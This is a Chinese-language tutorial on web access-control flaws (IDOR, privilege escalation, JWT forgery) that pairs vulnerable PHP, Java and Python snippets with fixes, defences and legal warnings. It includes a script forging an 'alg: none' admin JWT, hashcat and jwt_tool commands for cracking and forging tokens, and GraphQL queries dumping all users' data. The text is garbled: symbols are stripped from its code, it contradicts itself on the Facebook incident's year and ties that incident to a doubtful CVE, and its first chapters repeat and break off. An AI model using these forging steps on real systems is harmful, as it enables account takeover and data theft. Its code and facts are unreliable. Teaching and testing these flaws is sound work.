第零章零基础入门如果你完全没有安全基础从这里开始读。如果你已有基础可直接跳到第一章。0.1 先搞懂什么是登录你每天用手机 App、刷网页时有没有想过为什么你打开淘宝就能看到自己的订单而不是别人的答案在于登录这个动作。让我们用最简单的方式理解你输入账号密码 → 服务器验证正确 → 服务器给你一张通行证Cookie/Token → 之后你每次请求都带上这张通行证 → 服务器通过通行证识别你是谁就像去酒店前台登记 登录拿到房卡 获得 Cookie刷卡进房间 带着 Cookie 访问数据你的房卡只能开你的房间 权限校验0.2 什么是越权越权就是你的房卡开了别人的房间或者普通房客进了总统套房。用一个生活类比理解两种越权水平越权同级别用户之间用户 A 的房卡 → 开了用户 B 的房间 → 看到了 B 的私人物品 你在银行用自己卡查余额改了一下卡号看到了别人的余额垂直越权低权限→高权限普通顾客 → 走进了银行金库 普通用户 → 调用了管理员才能用的删除用户功能0.3 用最简单的代码理解越权安全版本像酒店前台核对房号和姓名// 查询订单时同时检查这个订单是不是你的 $sql SELECT * FROM orders WHERE id ? AND user_id ?; // ↑ 这个条件防止越权 // 意思是查找订单ID100 且 用户ID当前登录用户的订单漏洞版本像酒店前台只看房号不看姓名// 只检查订单是否存在不检查属于谁 $sql SELECT * FROM orders WHERE id ?; // 改 id100 为 id101 就能看到别人的订单0.4 你需要的前置知识知识点说明在哪学HTTP 协议浏览器和服务器怎么通信本章 0.5 节Cookie服务器怎么记住你本章 0.6 节URL 参数?id100是什么意思本章 0.7 节数据库查询SELECT/WHERE 怎么工作本章 0.8 节0.5 HTTP 协议一分钟速懂当你在浏览器输入http://shop.com/order.php?id100时浏览器发给服务器的请求HTTP 请求 GET /order.php?id100 HTTP/1.1 ← 方法 路径?参数 协议版本 Host: shop.com ← 目标网站 Cookie: sessionabc123 ← 你的通行证 User-Agent: Mozilla/5.0... ← 你的浏览器信息 服务器返回给浏览器的响应HTTP 响应 HTTP/1.1 200 OK ← 状态码 200成功 Content-Type: text/html ← 返回内容类型 ← 空行 htmlbody订单详情.../body/html ← 实际内容关键点GET是请求方法还有 POST/PUT/DELETE?id100是 URL 参数用户可修改Cookie是你的身份凭证浏览器自动携带200是状态码403禁止、404不存在、500服务器错误0.6 Cookie 机制一分钟速懂1. 你登录POST /login (usernameadminpassword123456) 2. 服务器验证通过返回 Set-Cookie: sessionabc123; HttpOnly; Path/ 3. 浏览器自动存储这个 Cookie 4. 之后每次请求 shop.com浏览器自动带上 Cookie: sessionabc123 5. 服务器通过 sessionabc123 知道你是 adminCookie 就像酒店的房卡——你不用每次都去前台登记刷卡就行。0.7 URL 参数一分钟速懂http://shop.com/order.php?id100statuspaid │ │ │ │ 域名 路径 参数1 参数2 参数是用户可以修改的部分 ?id100 → 改成 ?id101 → 就可能看到别人的订单越权 ?id100 → 改成 ?id1 → 可能遍历所有订单0.8 数据库查询一分钟速懂-- 安全查询只查当前用户的订单 SELECT * FROM orders WHERE id 100 AND user_id 5 -- 意思从 orders 表中查找 id100 且 user_id5 的记录 -- 即使改 id101因为 user_id5 不是 101 的主人查不到 -- 漏洞查询不检查用户身份 SELECT * FROM orders WHERE id 100 -- 意思从 orders 表中查找 id100 的记录 -- 改 id101 → 直接查到了别人的订单0.9 第一次理解越权攻击场景你在网上商城想看自己的订单。 正常流程 1. 登录后访问 http://shop.com/order.php?id100 2. 后端查询SELECT * FROM orders WHERE id100 AND user_id我的ID 3. 返回我的订单 ✅ 越权攻击 1. 登录后访问 http://shop.com/order.php?id101 2. 后端查询漏洞SELECT * FROM orders WHERE id101 3. 返回了别人的订单 ❌因为没检查 user_id 或者后端查询安全SELECT * FROM orders WHERE id101 AND user_id我的ID 4. 查不到因为 101 不属于我→ 返回订单不存在 ✅0.10 零基础练习打开浏览器开发者工具F12在 Network 标签中观察登录一个网站观察请求中的 Cookie 头观察 URL 中的参数思考如果改这个参数会发生什么⚠️ 不要在真实网站上修改参数测试只在本地靶场练习。第一章基础铺垫1.1 先搞懂权限控制是怎么回事Web 应用的权限控制涉及三个核心问题称为AAA模型1. Authentication你是谁— 身份认证 → 登录、Cookie、Session、Token、JWT → 证明你是你声称的那个人 2. Authorization你能做什么— 授权 → 普通用户只能看自己的数据管理员能管理所有人 → 控制你能访问哪些功能 3. Accountability你做了什么— 审计 → 日志记录、操作追踪 → 记录你做了什么操作越权漏洞发生在第 2 步——授权校验缺失或不当。1.2 什么是越权访问越权访问Broken Access Control在 OWASP Top 10 中位列第一。指应用未正确校验用户权限导致用户能访问本不该访问的资源或执行越权操作。1.3 两种类型水平越权相同权限级别的用户之间互访对方数据用户 A 查看用户 B 的订单垂直越权低权限用户访问高权限功能普通用户调用管理员接口1.4 IDOR不安全的直接对象引用水平越权最常见形态——通过可猜测的 ID自增数字直接访问他人资源http://victim.com/order.php?id1001 ← 自己的订单 http://victim.com/order.php?id1002 ← 改 ID 看别人的直接对象引用指的是代码直接用用户提供的 ID 查询数据库没有校验该对象是否属于当前用户。1.5 越权的历史时间事件2007年OWASP 将 IDOR 列入 Top 10A42013年合并为 Broken Access Control2017年排名上升至第 52019年Facebook 越权漏洞5000 万用户 Token 被盗2021年跃居 OWASP Top 10 第 1 名2023年API 安全中 BOLABroken Object Level Authorization成为第一大 API 漏洞1.6 Facebook 事件详解2018年9月Facebook 发现一个越权漏洞1. Facebook 的查看个人资料功能有一个预览接口 2. 该接口接受一个用户 ID 参数 3. 接口没有正确校验请求者的身份 4. 攻击者可以遍历任意用户 ID获取其 Access Token 5. 影响了 5000 万用户 6. Facebook 股价大跌被罚款1.7 为什么会产生原因说明示例完全没校验接口直接根据 ID 操作不检查归属SELECT * FROM orders WHERE id?无AND user_id?信任客户端从 Cookie/Token 读权限可篡改rolerequest.cookies.get(role)只前端校验隐藏了入口但接口可直接调前端隐藏管理员按钮但 API 可直接调校验不完整多步骤只在某步校验跳步绕过步骤1校验了步骤2没校验可猜测 ID自增整数方便遍历?id1,2,3,...HTTP 方法限制过滤器只查 GET 不查 POST过滤器只拦 GETPOST 绕过GUID 泄露GUID 出现在 URL/日志/API 响应中即使 GUID 也可能泄露1.8 危害危害说明严重程度数据泄露遍历所有用户数据★★★★★数据篡改修改/删除他人数据★★★★★权限提升普通用户→管理员★★★★★账号接管越权修改他人密码/绑定信息★★★★★大规模数据泄露自动化遍历整个系统★★★★★违反法规泄露用户个人信息★★★★★1.9 必要的前置知识HTTP 协议GET/POST、Cookie、Header、Token认证与授权理解两者的区别Session/JWT 机制理解身份认证如何工作API 设计RESTful API、GraphQL数据库查询理解 SQL WHERE 条件第二章原理剖析2.1 水平越权原理用户 Aid1→ 请求 order.php?id100属于 A→ ✅ 正常 用户 Aid1→ 请求 order.php?id101属于 B→ ❌ 应拒绝但放行了后端只检查订单是否存在没检查是否属于当前用户。漏洞代码$orderId $_GET[id]; $stmt $pdo-prepare(SELECT * FROM orders WHERE id ?); $stmt-execute([$orderId]); $order $stmt-fetch(); echo $order[user_name] . - . $order[address]; // ❌ 只查订单是否存在没查是否属于当前用户正确代码$stmt $pdo-prepare(SELECT * FROM orders WHERE id ? AND user_id ?); $stmt-execute([$orderId, $_SESSION[uid]]); // ✅ 查询时绑定用户身份2.2 垂直越权原理管理员功能/admin/deleteUser 前端隐藏了管理入口 → 但后端接口可直接访问 普通用户直接 POST /admin/deleteUser → ❌ 应拒绝但执行了2.3 信任客户端的权限标识后端从 Cookie 中读取 role Cookie: roleuser → 普通用户 Cookie: roleadmin → 管理员攻击者篡改永远不要信任客户端传来的权限标识。权限应该从服务端 Session 中获取。2.4 JWT 认证机制详解JWTJSON Web Token由三部分组成header.payload.signature Base64(头部).Base64(载荷).签名 头部{alg:HS256,typ:JWT} 载荷{uid:1,role:user,exp:1234567890} 签名HMAC-SHA256(header . payload, 密钥)服务端用密钥验证签名确保 Token 没被篡改。但如果实现不安全可被伪造。JWT 的安全问题漏洞原理利用方式alg: none声明不签名删除签名部分弱密钥密钥可爆破hashcat 爆破算法混淆RS256→HS256用公钥作为 HMAC 密钥信息泄露payload 是 Base64非加密直接解码查看密钥泄露密钥硬编码在源码中读取源码获取密钥第三章案例演示案例 1水平越权IDOR—— 订单查看漏洞代码order.php$orderId $_GET[id]; // ❌ 只查订单是否存在没查是否属于当前用户 $stmt $pdo-prepare(SELECT * FROM orders WHERE id ?); $stmt-execute([$orderId]); $order $stmt-fetch(); echo $order[user_name] . - . $order[address];利用?id1001自己的→?id1002别人的→ 遍历所有订单正确代码// ✅ 查询时绑定用户身份 $stmt $pdo-prepare(SELECT * FROM orders WHERE id ? AND user_id ?); $stmt-execute([$orderId, $_SESSION[uid]]); if (!$order) die(资源不存在); // 不区分不存在和无权限案例 2垂直越权 —— 管理员接口WebServlet(/admin/deleteUser) public class DeleteUserServlet extends HttpServlet { protected void doPost(HttpServletRequest req, HttpServletResponse resp) { // ❌ 没有检查是否是管理员 userDao.delete(req.getParameter(userId)); } }普通用户直接请求/admin/deleteUser即可删除用户。案例 3信任客户端权限app.route(/api/profile) def profile(): role request.cookies.get(role) # ❌ 从客户端读权限 if role admin: return admin_data()攻击者改 Cookieroleadmin→ 提权。案例 4多步骤功能越权步骤1GET /checkout?step1 → 显示订单校验了权限 步骤2POST /checkout?step2 → 确认没校验 步骤3POST /checkout?step3 → 执行支付没校验攻击者直接请求步骤 3跳过权限校验。案例 5HTTP 方法越权// ❌ 过滤器只检查 GET WebFilter(urlPatterns /admin/*) public class AdminFilter implements Filter { public void doFilter(...) { if (GET.equals(request.getMethod())) { checkPermission(request); // 只校验 GET } chain.doFilter(request, response); } } // 但管理员功能用 POST → POST 绕过过滤器案例 6Cookie 中的用户 ID$userId $_COOKIE[user_id]; // ❌ 从 Cookie 读用户 ID $pdo-query(SELECT * FROM orders WHERE user_id $userId); // 改 Cookie 的 user_id → 查看他人订单案例 7参数污染越权?userselfuseradmin某些框架对重复参数取最后一个值WAF 取第一个。WAF 校验userself通过后端用useradmin越权。案例 8GUID 泄露导致的越权# 即使使用 GUID 而非自增 ID order Order.query.filter_by(guiduser_guid).first() # 如果 GUID 出现在 URL、日志、API 响应中 # 攻击者获取到他人的 GUID 后仍可越权访问案例 9GraphQL 越权# 如果没有字段级权限控制 query { allUsers { id email phone orders { amount address } } } # 一次查询拉取所有用户的所有数据第四章实战进阶4.1 本地靶场搭建# DVWA 包含越权模块 docker run -d -p 8080:80 vulnerables/web-dvwa # PortSwigger Web Security Academy免费在线 # 有完整的 IDOR 和越权实验室 # https://portswigger.net/web-security/access-control # 自建创建两个账号测试4.2 JWT 越权完整版漏洞1alg: none绕过import base64, json header {alg: none, typ: JWT} payload {role: admin, uid: 1, exp: 9999999999} def b64(d): return base64.urlsafe_b64encode(json.dumps(d).encode()).decode().rstrip() token b64(header) . b64(payload) . # 服务端若不校验签名 → admin 身份通过漏洞2弱密钥爆破# 用 hashcat 爆破 JWT 密钥 hashcat -a 0 -m 16500 jwt.txt rockyou.txt # 用 jwt_tool 伪造 python3 jwt_tool.py JWT -S hs256 -p 破解的密钥 -I -pc role -v admin漏洞3算法混淆1. 获取服务端的 RS256 公钥通常公开 2. 把算法从 RS256 改为 HS256 3. 用公钥作为 HMAC 密钥签名 4. 服务端用公钥验证 HS256 签名 → 通过4.3 自动化越权检测import requests # 注册 A、B 两个账号 cookie_a {session: A_session} cookie_b {session: B_session} # A 创建一个资源 r requests.post(http://localhost:8080/api/orders, cookiescookie_a, json{item: phone}) order_id r.json()[id] print(fA 创建了订单 {order_id}) # B 尝试访问 A 的资源 r requests.get(fhttp://localhost:8080/api/orders/{order_id}, cookiescookie_b) if r.status_code 200 and phone in r.text: print(f[] 越权成功B 能访问 A 的订单 {order_id}) else: print([-] 无越权) # B 尝试修改 A 的资源 r requests.put(fhttp://localhost:8080/api/orders/{order_id}, cookiescookie_b, json{address: attacker_address}) if r.status_code 200: print(f[] 越权修改成功) # B 尝试删除 A 的资源 r requests.delete(fhttp://localhost:8080/api/orders/{order_id}, cookiescookie_b) if r.status_code 200: print(f[] 越权删除成功)自动化越权检测思路注册 A、B 两个账号A 访问属于 A 的资源 IDB 也访问同一 ID如果 B 能看到 A 的数据 → 越权逐个 ID 测试测试 GET/POST/PUT/DELETE 所有方法4.4 越权 信息泄露组合链1. IDOR 遍历用户列表 → 获取管理员手机号/邮箱 2. 越权调用重置密码接口 → 给管理员改密码 3. 用新密码登录管理员账号 4. 后台执行任意操作 完整攻击链 发现IDOR → 遍历数据 → 获取管理员信息 → 越权改密码 → 登录后台 → 完全控制4.5 API 越权测试RESTful API IDORGET /api/v1/users/1001/orders ← 改 ID 看别人的 PUT /api/v1/users/1002 ← 修改别人信息 DELETE /api/v1/users/1003 ← 删除别人账号测试方法用账号 A 创建资源用账号 B 访问/修改/删除 A 的资源如果成功 → 越权4.6 越权检测工具# AutorizeBurpSuite 插件—— 自动检测越权 # 安装后配置低权限 Cookie # 浏览页面时自动用低权限 Cookie 重放请求 # 对比高/低权限响应 # AuthzBurpSuite 插件—— 类似功能 # 手动用 BurpSuite Repeater # 1. 拦截请求 # 2. 替换 Cookie 为另一个用户的 # 3. 重放查看是否成功4.7 越权测试方法论步骤1识别所有需要权限的功能 - 管理员接口 - 用户数据访问接口 - 修改/删除操作 步骤2水平越权测试 - 注册 A、B 两个账号 - A 创建资源 - B 尝试访问/修改/删除 A 的资源 步骤3垂直越权测试 - 用普通用户账号 - 尝试访问管理员接口 - 尝试修改 role 参数 步骤4多步骤越权 - 跳过权限校验步骤 - 直接请求后续步骤 步骤5JWT 测试 - 检查 alg:none - 爆破密钥 - 算法混淆 步骤6API 越权 - 遍历 ID - 测试所有 HTTP 方法第五章防御与避险5.1 服务端强制鉴权核心核心原则每次访问都校验身份与资源归属关系。// ✅ 查询时绑定用户身份 $stmt $pdo-prepare(SELECT * FROM orders WHERE id ? AND user_id ?); $stmt-execute([$orderId, $_SESSION[uid]]); if (!$order) die(资源不存在);# Django确保只查自己的 order get_object_or_404(Order, idorder_id, userrequest.user) # 等价于 WHERE id? AND user_id?// Java校验资源归属 Order order orderDao.findById(orderId); if (order null || !order.getUserId().equals(currentUser.getId())) { throw new AccessDeniedException(无权访问); }5.2 统一权限框架集中式权限控制避免每个接口手写易遗漏Spring SecurityJava// 方法级权限注解 PreAuthorize(hasRole(ADMIN)) PostMapping(/admin/deleteUser) public void deleteUser(...) { ... } // 资源归属校验 PreAuthorize(#userId authentication.principal.id) GetMapping(/users/{userId}/profile) public UserProfile getProfile(PathVariable Long userId) { ... }DjangoPythonfrom django.contrib.auth.decorators import login_required, permission_required login_required permission_required(orders.view_order, raise_exceptionTrue) def order_detail(request, order_id): # 确保 order 属于当前用户 order get_object_or_404(Order, idorder_id, userrequest.user) return render(request, order.html, {order: order})Express 中间件Node.js// 权限中间件 function requireRole(role) { return (req, res, next) { if (req.user.role ! role) { return res.status(403).json({error: Forbidden}); } next(); }; } // 资源归属校验中间件 async function checkOwnership(req, res, next) { const order await Order.findById(req.params.id); if (!order || order.userId ! req.user.id) { return res.status(403).json({error: 无权访问}); } req.order order; next(); } // 使用 app.delete(/api/orders/:id, requireRole(admin), // 垂直越权防护 checkOwnership, // 水平越权防护 deleteOrder);5.3 默认拒绝// ✅ 默认 deny — 未明确授权即拒绝 if (!hasPermission(user, resource)) { throw new AccessDeniedException(); } // ❌ 危险默认 allow — 新角色默认有权限 if (user.getRole().equals(blocked)) { throw new AccessDeniedException(); } // 漏洞如果创建了新角色如 superadmin默认有权限5.4 不可预测的 ID辅助// 将自增 ID 改为 UUID $orderId bin2hex(random_bytes(16)); // 32 位十六进制 // 增加遍历难度但这不是真正的修复 // 仍需服务端校验归属关系5.5 避免信息泄露// ❌ 暴露是否存在 if ($order) echo 有权限; else echo 无权限; // ✅ 统一返回 if (!$order || $order[user_id] ! $_SESSION[uid]) { die(资源不存在); // 不区分不存在和无权限 }5.6 权限审计与日志// 记录所有敏感操作 log_action($user_id, access_order, $orderId, $ip); // 定期审计 // - 检查用户是否访问了不属于他的资源 // - 短时间内大量不同 ID 访问 → 可能是遍历 // - 非工作时间的管理员操作 → 可能被盗5.7 防御总结防御层措施效果注意服务端强制鉴权每次校验身份与归属★★★★★核心统一权限框架集中管理★★★★★避免遗漏默认拒绝未明确授权即拒绝★★★★安全原则不可预测 IDUUID★★★仅增加难度避免信息泄露统一错误响应★★★减少探测权限审计日志监控★★★检测JWT 安全强密钥校验签名★★★★防伪造5.8 安全编码 Checklist每个接口是否校验了用户权限每条数据查询是否绑定了用户身份权限标识是否来自服务端 Session 而非客户端是否使用了统一权限框架是否遵循默认拒绝原则多步骤功能每一步是否都校验了权限ID 是否不可预测UUID错误信息是否统一不泄露资源是否存在JWT 密钥是否足够强是否有权限审计日志第六章法律合规与避险6.1 合法行为✅ 在本地靶场练习✅ 对自己拥有的网站测试✅ 书面授权范围内的渗透测试✅ 向厂商 SRC 报告越权漏洞✅ 参加 CTF 竞赛6.2 违法行为❌ 遍历他人网站的用户数据❌ 越权修改/删除他人数据❌ 越权提升自己权限❌ 越权接管他人账号❌ 批量获取用户个人信息6.3 涉及法律法律条款说明刑罚刑法第285条非法获取计算机信息系统数据罪三年以下至七年以下刑法第253条侵犯公民个人信息罪批量获取用户数据三年以下至七年以下网络安全法第27条不得非法侵入他人网络—个人信息保护法相关条款非法获取个人信息—6.4 真实案例警示Facebook2018越权漏洞导致 5000 万用户 Token 被盗USPS2018美国邮政服务越权漏洞6000 万用户数据可被遍历各种 APIBOLA 是 API 安全第一大漏洞6.5 自我保护建议越权测试只在本地靶场中进行发现真实网站越权 → 报告 SRC不自行提取数据即使是只看了一眼也属于未授权访问不批量遍历用户数据不越权修改/删除他人数据6.6 漏洞报告流程1. 发现越权 → 不要提取实际数据 2. 只证明越权存在如用自己的两个账号交叉测试 3. 截图提交给厂商 SRC 4. 等待确认和修复 5. 不公开未修复的漏洞细节大神进阶高级越权技巧与真实案例A.1 真实 CVE 案例分析案例 1Facebook Access Token 越权2018漏洞编号CVE-2018-18768背景Facebook 的查看个人资料功能有一个预览接口用于让用户看到自己的资料在不同隐私设置下对外人是什么样子。漏洞根因预览接口接受一个用户 ID 参数 接口本应只显示当前用户的公开信息 但实际返回了完整的 Access Token 攻击者遍历任意用户 ID → 获取任意用户的 Token影响5000 万用户受影响Facebook 被罚款。修复预览接口不再返回 Token改为返回脱敏后的静态视图。案例 2USPS 越权漏洞2018背景美国邮政服务的 API 有一个查询接口用户可以查询自己的邮件状态。漏洞根因API 端点GET /api/v1/users/{userId}/mail 后端只检查 userId 是否为有效用户 没有检查请求者是否就是该 userId 任何登录用户都可以遍历任意 userId → 查看所有人的邮件影响6000 万用户数据可被遍历。案例 3 Peloton 健身设备越权2021漏洞根因APIGET /api/user/{userId} 认证后可以访问任意用户的个人资料 包括生日、性别、体重、训练数据 仅将是否公开的判断放在前端 后端不管公开与否都返回全部数据A.2 GraphQL 越权深度利用GraphQL 没有传统 REST API 的固定端点但越权更为严重# 查询所有用户的所有数据如果没有字段级权限控制 query { allUsers { id email phone passwordHash # 甚至可能返回密码哈希 orders { id amount shippingAddress paymentMethod { cardNumber # 信用卡号 } } } } # 批量遍历 query { user1: user(id: 1) { email phone } user2: user(id: 2) { email phone } user3: user(id: 3) { email phone } # 一次请求查询多个用户 } # 内省攻击获取所有 API 结构 query { __schema { types { name fields { name type { name } } } } }A.3 OAuth 2.0 越权OAuth 流程中的越权1. 攻击者注册一个正常应用获得 client_id 2. 诱导受害者授权钓鱼 3. 获取 authorization code 4. 用 code 换取 access_token 5. 如果授权服务器不验证 redirect_uri → 越权获取 Token防御严格校验 redirect_uri、使用 state 参数防 CSRF。A.4 微服务架构中的越权微服务之间通过内部 API 通信如果内部 API 信任所有来自内网的请求用户 → API 网关 → 用户服务校验了身份 → 订单服务没校验直接信任内网请求 → 支付服务没校验攻击者通过 API 网关的越权漏洞绕过网关直接请求内部服务。A.5 越权漏洞的自动化挖掘框架步骤1爬取所有 API 端点 - 爬取前端 JS 代码中的 API 调用 - 爬取 Swagger/API 文档 - 枚举常见 API 路径 步骤2识别身份相关参数 - URL 中的 userId/orderId/accountId - 请求体中的 id 字段 - Cookie/Token 中的用户标识 步骤3双账号交叉测试 - 账号 A 创建资源 - 账号 B 访问 A 的资源 - 对比响应差异 步骤4测试所有 HTTP 方法 - GET读取 - POST创建 - PUT/PATCH修改 - DELETE删除 步骤5自动化遍历 - 遍历所有 ID - 收集可越权访问的数据A.6 大神级越权 Checklist基础检查 - [ ] 每个 API 是否校验用户身份 - [ ] 每个数据查询是否绑定用户 ID - [ ] 权限标识是否来自服务端 高级检查 - [ ] 多步骤功能每步是否校验 - [ ] HTTP 方法是否都有限制 - [ ] GraphQL 是否有字段级权限 - [ ] 微服务间是否校验身份 - [ ] OAuth redirect_uri 是否严格校验 - [ ] JWT 是否安全强密钥校验签名 - [ ] 是否有权限审计日志 - [ ] 错误信息是否统一不泄露存在性 - [ ] 是否定期审计异常访问附录速查表越权类型速查类型说明检测方法水平越权A 访问 B 的数据两个账号交叉测试垂直越权普通用户调管理员接口直接请求管理接口IDOR改 ID 访问他人资源遍历 ID多步骤越权跳过权限校验步骤直接请求后续步骤HTTP 方法越权过滤器只查 GET用 POST 绕过JWT 伪造篡改 Tokenalg:none/弱密钥JWT 漏洞速查漏洞方法工具alg:none声明不签名jwt_tool弱密钥爆破hashcat算法混淆RS256→HS256jwt_tool信息泄露Base64 解码在线工具防御速查防御措施代码示例绑定用户SQL 加AND user_id?WHERE id? AND user_id?权限框架注解/装饰器PreAuthorize默认拒绝检查否定条件if (!hasPermission)UUID随机 IDrandom_bytes(16)总结越权是 OWASP Top 10排名第一的漏洞也是最常见的漏洞。防御核心是服务端每次访问都校验身份与资源归属关系——权限标识不能来自客户端。前端隐藏入口不是安全措施后端必须独立校验。记住永远不要信任客户端传来的权限标识。
第零章零基础入门如果你完全没有安全基础从这里开始读。如果你已有基础可直接跳到第一章。0.1 先搞懂什么是登录你每天用手机 App、刷网页时有没有想过为什么你打开淘宝就能看到自己的订单而不是别人的答案在于登录这个动作。让我们用最简单的方式理解你输入账号密码 → 服务器验证正确 → 服务器给你一张通行证Cookie/Token → 之后你每次请求都带上这张通行证 → 服务器通过通行证识别你是谁就像去酒店前台登记 登录拿到房卡 获得 Cookie刷卡进房间 带着 Cookie 访问数据你的房卡只能开你的房间 权限校验0.2 什么是越权越权就是你的房卡开了别人的房间或者普通房客进了总统套房。用一个生活类比理解两种越权水平越权同级别用户之间用户 A 的房卡 → 开了用户 B 的房间 → 看到了 B 的私人物品 你在银行用自己卡查余额改了一下卡号看到了别人的余额垂直越权低权限→高权限普通顾客 → 走进了银行金库 普通用户 → 调用了管理员才能用的删除用户功能0.3 用最简单的代码理解越权安全版本像酒店前台核对房号和姓名// 查询订单时同时检查这个订单是不是你的 $sql SELECT * FROM orders WHERE id ? AND user_id ?; // ↑ 这个条件防止越权 // 意思是查找订单ID100 且 用户ID当前登录用户的订单漏洞版本像酒店前台只看房号不看姓名// 只检查订单是否存在不检查属于谁 $sql SELECT * FROM orders WHERE id ?; // 改 id100 为 id101 就能看到别人的订单0.4 你需要的前置知识知识点说明在哪学HTTP 协议浏览器和服务器怎么通信本章 0.5 节Cookie服务器怎么记住你本章 0.6 节URL 参数?id100是什么意思本章 0.7 节数据库查询SELECT/WHERE 怎么工作本章 0.8 节0.5 HTTP 协议一分钟速懂当你在浏览器输入http://shop.com/order.php?id100时浏览器发给服务器的请求HTTP 请求 GET /order.php?id100 HTTP/1.1 ← 方法 路径?参数 协议版本 Host: shop.com ← 目标网站 Cookie: sessionabc123 ← 你的通行证 User-Agent: Mozilla/5.0... ← 你的浏览器信息 服务器返回给浏览器的响应HTTP 响应 HTTP/1.1 200 OK ← 状态码 200成功 Content-Type: text/html ← 返回内容类型 ← 空行 htmlbody订单详情.../body/html ← 实际内容关键点GET是请求方法还有 POST/PUT/DELETE?id100是 URL 参数用户可修改Cookie是你的身份凭证浏览器自动携带200是状态码403禁止、404不存在、500服务器错误0.6 Cookie 机制一分钟速懂1. 你登录POST /login (usernameadminpassword123456) 2. 服务器验证通过返回 Set-Cookie: sessionabc123; HttpOnly; Path/ 3. 浏览器自动存储这个 Cookie 4. 之后每次请求 shop.com浏览器自动带上 Cookie: sessionabc123 5. 服务器通过 sessionabc123 知道你是 adminCookie 就像酒店的房卡——你不用每次都去前台登记刷卡就行。0.7 URL 参数一分钟速懂http://shop.com/order.php?id100statuspaid │ │ │ │ 域名 路径 参数1 参数2 参数是用户可以修改的部分 ?id100 → 改成 ?id101 → 就可能看到别人的订单越权 ?id100 → 改成 ?id1 → 可能遍历所有订单0.8 数据库查询一分钟速懂-- 安全查询只查当前用户的订单 SELECT * FROM orders WHERE id 100 AND user_id 5 -- 意思从 orders 表中查找 id100 且 user_id5 的记录 -- 即使改 id101因为 user_id5 不是 101 的主人查不到 -- 漏洞查询不检查用户身份 SELECT * FROM orders WHERE id 100 -- 意思从 orders 表中查找 id100 的记录 -- 改 id101 → 直接查到了别人的订单0.9 第一次理解越权攻击场景你在网上商城想看自己的订单。 正常流程 1. 登录后访问 http://shop.com/order.php?id100 2. 后端查询SELECT * FROM orders WHERE id100 AND user_id我的ID 3. 返回我的订单 ✅ 越权攻击 1. 登录后访问 http://shop.com/order.php?id101 2. 后端查询漏洞SELECT * FROM orders WHERE id101 3. 返回了别人的订单 ❌因为没检查 user_id 或者后端查询安全SELECT * FROM orders WHERE id101 AND user_id我的ID 4. 查不到因为 101 不属于我→ 返回订单不存在 ✅0.10 零基础练习打开浏览器开发者工具F12在 Network 标签中观察登录一个网站观察请求中的 Cookie 头观察 URL 中的参数思考如果改这个参数会发生什么⚠️ 不要在真实网站上修改参数测试只在本地靶场练习。第一章基础铺垫1.1 先搞懂权限控制是怎么回事Web 应用的权限控制涉及三个核心问题称为AAA模型1. Authentication你是谁— 身份认证 → 登录、Cookie、Session、Token、JWT → 证明你是你声称的那个人 2. Authorization你能做什么— 授权 → 普通用户只能看自己的数据管理员能管理所有人 → 控制你能访问哪些功能 3. Accountability你做了什么— 审计 → 日志记录、操作追踪 → 记录你做了什么操作越权漏洞发生在第 2 步——授权校验缺失或不当。1.2 什么是越权访问越权访问Broken Access Control在 OWASP Top 10 中位列第一。指应用未正确校验用户权限导致用户能访问本不该访问的资源或执行越权操作。1.3 两种类型水平越权相同权限级别的用户之间互访对方数据用户 A 查看用户 B 的订单垂直越权低权限用户访问高权限功能普通用户调用管理员接口1.4 IDOR不安全的直接对象引用水平越权最常见形态——通过可猜测的 ID自增数字直接访问他人资源http://victim.com/order.php?id1001 ← 自己的订单 http://victim.com/order.php?id1002 ← 改 ID 看别人的直接对象引用指的是代码直接用用户提供的 ID 查询数据库没有校验该对象是否属于当前用户。1.5 越权的历史时间事件2007年OWASP 将 IDOR 列入 Top 10A42013年合并为 Broken Access Control2017年排名上升至第 52019年Facebook 越权漏洞5000 万用户 Token 被盗2021年跃居 OWASP Top 10 第 1 名2023年API 安全中 BOLABroken Object Level Authorization成为第一大 API 漏洞1.6 Facebook 事件详解2018年9月Facebook 发现一个越权漏洞1. Facebook 的查看个人资料功能有一个预览接口 2. 该接口接受一个用户 ID 参数 3. 接口没有正确校验请求者的身份 4. 攻击者可以遍历任意用户 ID获取其 Access Token 5. 影响了 5000 万用户 6. Facebook 股价大跌被罚款1.7 为什么会产生原因说明示例完全没校验接口直接根据 ID 操作不检查归属SELECT * FROM orders WHERE id?无AND user_id?信任客户端从 Cookie/Token 读权限可篡改rolerequest.cookies.get(role)只前端校验隐藏了入口但接口可直接调前端隐藏管理员按钮但 API 可直接调校验不完整多步骤只在某步校验跳步绕过步骤1校验了步骤2没校验可猜测 ID自增整数方便遍历?id1,2,3,...HTTP 方法限制过滤器只查 GET 不查 POST过滤器只拦 GETPOST 绕过GUID 泄露GUID 出现在 URL/日志/API 响应中即使 GUID 也可能泄露1.8 危害危害说明严重程度数据泄露遍历所有用户数据★★★★★数据篡改修改/删除他人数据★★★★★权限提升普通用户→管理员★★★★★账号接管越权修改他人密码/绑定信息★★★★★大规模数据泄露自动化遍历整个系统★★★★★违反法规泄露用户个人信息★★★★★1.9 必要的前置知识HTTP 协议GET/POST、Cookie、Header、Token认证与授权理解两者的区别Session/JWT 机制理解身份认证如何工作API 设计RESTful API、GraphQL数据库查询理解 SQL WHERE 条件第二章原理剖析2.1 水平越权原理用户 Aid1→ 请求 order.php?id100属于 A→ ✅ 正常 用户 Aid1→ 请求 order.php?id101属于 B→ ❌ 应拒绝但放行了后端只检查订单是否存在没检查是否属于当前用户。漏洞代码$orderId $_GET[id]; $stmt $pdo-prepare(SELECT * FROM orders WHERE id ?); $stmt-execute([$orderId]); $order $stmt-fetch(); echo $order[user_name] . - . $order[address]; // ❌ 只查订单是否存在没查是否属于当前用户正确代码$stmt $pdo-prepare(SELECT * FROM orders WHERE id ? AND user_id ?); $stmt-execute([$orderId, $_SESSION[uid]]); // ✅ 查询时绑定用户身份2.2 垂直越权原理管理员功能/admin/deleteUser 前端隐藏了管理入口 → 但后端接口可直接访问 普通用户直接 POST /admin/deleteUser → ❌ 应拒绝但执行了2.3 信任客户端的权限标识后端从 Cookie 中读取 role Cookie: roleuser → 普通用户 Cookie: roleadmin → 管理员攻击者篡改永远不要信任客户端传来的权限标识。权限应该从服务端 Session 中获取。2.4 JWT 认证机制详解JWTJSON Web Token由三部分组成header.payload.signature Base64(头部).Base64(载荷).签名 头部{alg:HS256,typ:JWT} 载荷{uid:1,role:user,exp:1234567890} 签名HMAC-SHA256(header . payload, 密钥)服务端用密钥验证签名确保 Token 没被篡改。但如果实现不安全可被伪造。JWT 的安全问题漏洞原理利用方式alg: none声明不签名删除签名部分弱密钥密钥可爆破hashcat 爆破算法混淆RS256→HS256用公钥作为 HMAC 密钥信息泄露payload 是 